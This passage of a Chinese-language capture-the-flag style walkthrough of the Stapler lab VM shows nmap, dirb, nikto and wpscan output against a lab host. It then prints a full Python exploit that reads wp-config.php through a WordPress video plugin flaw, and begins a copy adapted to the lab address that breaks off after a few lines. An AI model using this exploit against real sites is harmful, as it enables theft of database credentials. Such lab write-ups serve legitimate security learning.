| fingerprint-strings: 
|   NULL: 
|     message2.jpgUT 
|     QWux
|     "DL[E
|     #;3[
|     \xf6
|     u([r
|     qYQq
|     Y_?n2
|     3&M~{
|     9-a)T
|     L}AJ
|_    .npy.9
3306/tcp  open  mysql       MySQL 5.7.12-0ubuntu1
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
12380/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.9, Linux 4.4
Uptime guess: 0.016 days (since Mon Apr 13 03:19:38 2020)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-vuln-cve2009-3103: 
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability."
|           
|     Disclosure date: 2009-09-08
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
| smb-vuln-regsvc-dos: 
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_
```

dirb扫一波12380端口的目录

``` bash
root@kali:~# dirb https://192.168.56.122:12380/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon Apr 13 22:11:33 2020
URL_BASE: https://192.168.56.122:12380/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: https://192.168.56.122:12380/ ----
==> DIRECTORY: https://192.168.56.122:12380/announcements/                                                                
+ https://192.168.56.122:12380/index.html (CODE:200|SIZE:21)                                                              
==> DIRECTORY: https://192.168.56.122:12380/javascript/                                                                   
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/                                                                   
+ https://192.168.56.122:12380/robots.txt (CODE:200|SIZE:59)                                                              
+ https://192.168.56.122:12380/server-status (CODE:403|SIZE:305)                                                          
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/announcements/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/javascript/ ----
==> DIRECTORY: https://192.168.56.122:12380/javascript/jquery/                                                            
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/ ----
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/doc/                                                               
+ https://192.168.56.122:12380/phpmyadmin/favicon.ico (CODE:200|SIZE:22486)                                               
+ https://192.168.56.122:12380/phpmyadmin/index.php (CODE:200|SIZE:10332)                                                 
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/js/                                                                
+ https://192.168.56.122:12380/phpmyadmin/libraries (CODE:403|SIZE:312)                                                   
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/                                                            
+ https://192.168.56.122:12380/phpmyadmin/phpinfo.php (CODE:200|SIZE:10334)                                               
+ https://192.168.56.122:12380/phpmyadmin/setup (CODE:401|SIZE:464)                                                       
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/sql/                                                               
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/templates/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/themes/                                                            
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/javascript/jquery/ ----
+ https://192.168.56.122:12380/javascript/jquery/jquery (CODE:200|SIZE:284394)                                            
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/doc/ ----
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/doc/html/                                                          
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/js/ ----
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/js/jquery/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/js/transformations/                                                
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/ ----
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/az/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/bg/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/ca/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/cs/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/da/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/de/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/el/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/es/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/et/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/fi/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/fr/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/gl/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/hu/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/ia/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/id/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/it/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/ja/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/ko/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/lt/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/nl/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/pl/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/pt/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/pt_BR/                                                      
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/ro/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/ru/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/si/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/sk/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/sl/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/sq/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/sv/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/tr/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/uk/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/vi/                                                         
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/zh_CN/                                                      
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/locale/zh_TW/                                                      
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/sql/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/templates/ ----
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/templates/components/                                              
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/templates/database/                                                
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/templates/error/                                                   
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/templates/javascript/                                              
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/templates/list/                                                    
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/templates/navigation/                                              
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/templates/table/                                                   
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/templates/test/                                                    
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/themes/ ----
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/themes/original/                                                   
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/doc/html/ ----
+ https://192.168.56.122:12380/phpmyadmin/doc/html/index.html (CODE:200|SIZE:12811)                                       
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/js/jquery/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/js/transformations/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/az/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/bg/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/ca/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/cs/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/da/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/de/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/el/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/es/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/et/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/fi/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/fr/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/gl/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/hu/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/ia/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/id/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/it/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/ja/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/ko/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/lt/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/nl/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/pl/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/pt/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/pt_BR/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/ro/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/ru/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/si/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/sk/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/sl/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/sq/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/sv/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/tr/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/uk/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/vi/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/zh_CN/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/locale/zh_TW/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/templates/components/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/templates/database/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/templates/error/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/templates/javascript/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/templates/list/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/templates/navigation/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/templates/table/ ----
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/templates/table/chart/                                             
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/templates/table/search/                                            
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/templates/test/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/themes/original/ ----
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/themes/original/css/                                               
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/themes/original/img/                                               
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/themes/original/jquery/                                            
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/templates/table/chart/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/templates/table/search/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/themes/original/css/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/themes/original/img/ ----
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/themes/original/jquery/ ----
==> DIRECTORY: https://192.168.56.122:12380/phpmyadmin/themes/original/jquery/images/                                     
                                                                                                                          
---- Entering directory: https://192.168.56.122:12380/phpmyadmin/themes/original/jquery/images/ ----
                                                                               ges/zt                                     
-----------------
END_TIME: Mon Apr 13 22:15:55 2020
DOWNLOADED: 290556 - FOUND: 10
```

上nikto

``` bash
root@kali:~# nikto -host http://192.168.56.122:12380/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.122
+ Target Hostname:    192.168.56.122
+ Target Port:        12380
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
+ Start Time:         2020-04-13 21:55:57 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'dave' found, with contents: Soemthing doesn't look right here
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/admin112233/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/blogblog/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Hostname '192.168.56.122' does not match certificate's names: Red.Initech
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST 
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 8071 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2020-04-13 21:58:35 (GMT-4) (158 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

wpscan扫一下https://192.168.56.122:12380/blogblog/

``` bash
root@kali:~# wpscan --disable-tls-checks --url https://192.168.56.122:12380/blogblog/ --enumerate u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.7.11
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]
[+] URL: https://192.168.56.122:12380/blogblog/ [192.168.56.122]
[+] Started: Mon Apr 13 22:26:43 2020

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.18 (Ubuntu)
 |  - Dave: Soemthing doesn't look right here
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: https://192.168.56.122:12380/blogblog/xmlrpc.php
 | Found By: Headers (Passive Detection)
 | Confidence: 100%
 | Confirmed By:
 |  - Link Tag (Passive Detection), 30% confidence
 |  - Direct Access (Aggressive Detection), 100% confidence
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] https://192.168.56.122:12380/blogblog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Registration is enabled: https://192.168.56.122:12380/blogblog/wp-login.php?action=register
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: https://192.168.56.122:12380/blogblog/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: https://192.168.56.122:12380/blogblog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.2.1 identified (Insecure, released on 2015-04-27).
 | Found By: Rss Generator (Passive Detection)
 |  - https://192.168.56.122:12380/blogblog/?feed=rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
 |  - https://192.168.56.122:12380/blogblog/?feed=comments-rss2, <generator>http://wordpress.org/?v=4.2.1</generator>

[+] WordPress theme in use: bhost
 | Location: https://192.168.56.122:12380/blogblog/wp-content/themes/bhost/
 | Last Updated: 2019-12-08T00:00:00.000Z
 | Readme: https://192.168.56.122:12380/blogblog/wp-content/themes/bhost/readme.txt
 | [!] The version is out of date, the latest version is 1.4.4
 | Style URL: https://192.168.56.122:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1
 | Style Name: BHost
 | Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This theme ...
 | Author: Masum Billah
 | Author URI: http://getmasum.net/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2.9 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - https://192.168.56.122:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1, Match: 'Version: 1.2.9'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=============================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] John Smith
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By: Rss Generator (Passive Detection)

[+] barry
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] john
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] elly
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] garry
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] peter
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] heather
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] harry
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] scott
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] kathy
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] tim
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Mon Apr 13 22:26:48 2020
[+] Requests Done: 69
[+] Cached Requests: 6
[+] Data Sent: 17.953 KB
[+] Data Received: 294.119 KB
[+] Memory used: 109.172 MB
[+] Elapsed time: 00:00:05
```

``` bash
root@kali:~# wpscan --disable-tls-checks --url https://192.168.56.122:12380/blogblog/ --enumerate p
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.7.11
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N][+] URL: https://192.168.56.122:12380/blogblog/ [192.168.56.122]
[+] Started: Mon Apr 13 22:31:13 2020

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.18 (Ubuntu)
 |  - Dave: Soemthing doesn't look right here
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: https://192.168.56.122:12380/blogblog/xmlrpc.php
 | Found By: Headers (Passive Detection)
 | Confidence: 100%
 | Confirmed By:
 |  - Link Tag (Passive Detection), 30% confidence
 |  - Direct Access (Aggressive Detection), 100% confidence
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] https://192.168.56.122:12380/blogblog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Registration is enabled: https://192.168.56.122:12380/blogblog/wp-login.php?action=register
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: https://192.168.56.122:12380/blogblog/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: https://192.168.56.122:12380/blogblog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.2.1 identified (Insecure, released on 2015-04-27).
 | Found By: Rss Generator (Passive Detection)
 |  - https://192.168.56.122:12380/blogblog/?feed=rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
 |  - https://192.168.56.122:12380/blogblog/?feed=comments-rss2, <generator>http://wordpress.org/?v=4.2.1</generator>

[+] WordPress theme in use: bhost
 | Location: https://192.168.56.122:12380/blogblog/wp-content/themes/bhost/
 | Last Updated: 2019-12-08T00:00:00.000Z
 | Readme: https://192.168.56.122:12380/blogblog/wp-content/themes/bhost/readme.txt
 | [!] The version is out of date, the latest version is 1.4.4
 | Style URL: https://192.168.56.122:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1
 | Style Name: BHost
 | Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This theme ...
 | Author: Masum Billah
 | Author URI: http://getmasum.net/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2.9 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - https://192.168.56.122:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1, Match: 'Version: 1.2.9'

[+] Enumerating Most Popular Plugins (via Passive Methods)

[i] No plugins Found.

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Mon Apr 13 22:31:17 2020
[+] Requests Done: 2
[+] Cached Requests: 32
[+] Data Sent: 616 B
[+] Data Received: 1.095 KB
[+] Memory used: 194.785 MB
[+] Elapsed time: 00:00:03
```

#### getshell

访问

``` bash
https://192.168.56.122:12380/blogblog/wp-content/plugins/
```

在eploitdb中搜索

``` bash
root@kali:~# searchsploit wordpress advanced video
---------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                    |  Path
                                                                                  | (/usr/share/exploitdb/)
---------------------------------------------------------------------------------- ----------------------------------------
WordPress Plugin Advanced Video 1.0 - Local File Inclusion                        | exploits/php/webapps/39646.py
---------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
```

查看exploit的内容

``` bash
root@kali:~/vulnhub/stapler-1# cat /usr/share/exploitdb/exploits/php/webapps/39646.py
#!/usr/bin/env python

# Exploit Title: Advanced-Video-Embed Arbitrary File Download / Unauthenticated Post Creation
# Google Dork: N/A
# Date: 04/01/2016
# Exploit Author: evait security GmbH
# Vendor Homepage: arshmultani - http://dscom.it/
# Software Link: https://wordpress.org/plugins/advanced-video-embed-embed-videos-or-playlists/
# Version: 1.0
# Tested on: Linux Apache / Wordpress 4.2.2

#       Timeline
#       03/24/2016 - Bug discovered
#       03/24/2016 - Initial notification of vendor
#       04/01/2016 - No answer from vendor, public release of bug 


# Vulnerable Code (/inc/classes/class.avePost.php) Line 57:

#  function ave_publishPost(){
#    $title = $_REQUEST['title'];
#    $term = $_REQUEST['term'];
#    $thumb = $_REQUEST['thumb'];
# <snip>
# Line 78:
#    $image_data = file_get_contents($thumb);


# POC - http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=[FILEPATH]

# Exploit - Print the content of wp-config.php in terminal (default Wordpress config)

import random
import urllib2
import re

url = "http://127.0.0.1/wordpress" # insert url to wordpress

randomID = long(random.random() * 100000000000000000L)

objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content =  objHtml.readlines()
for line in content:
        numbers = re.findall(r'\d+',line)
        id = numbers[-1]
        id = int(id) / 10

objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()

for line in content:
        if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
                urls=re.findall('"(https?://.*?)"', line)
                print urllib2.urlopen(urls[0]).read()
```

修改poc中的ip和文件夹保存后运行poc，下面是修改后的poc脚本内容

``` bash
import random
import urllib2
import re
import ssl

ssl._create_default_https_context = ssl._create_unverified_context
url = "https://192.168.56.122:12380/blogblog" # insert url to wordpress

randomID = long(random.random() * 100000000000000000L)

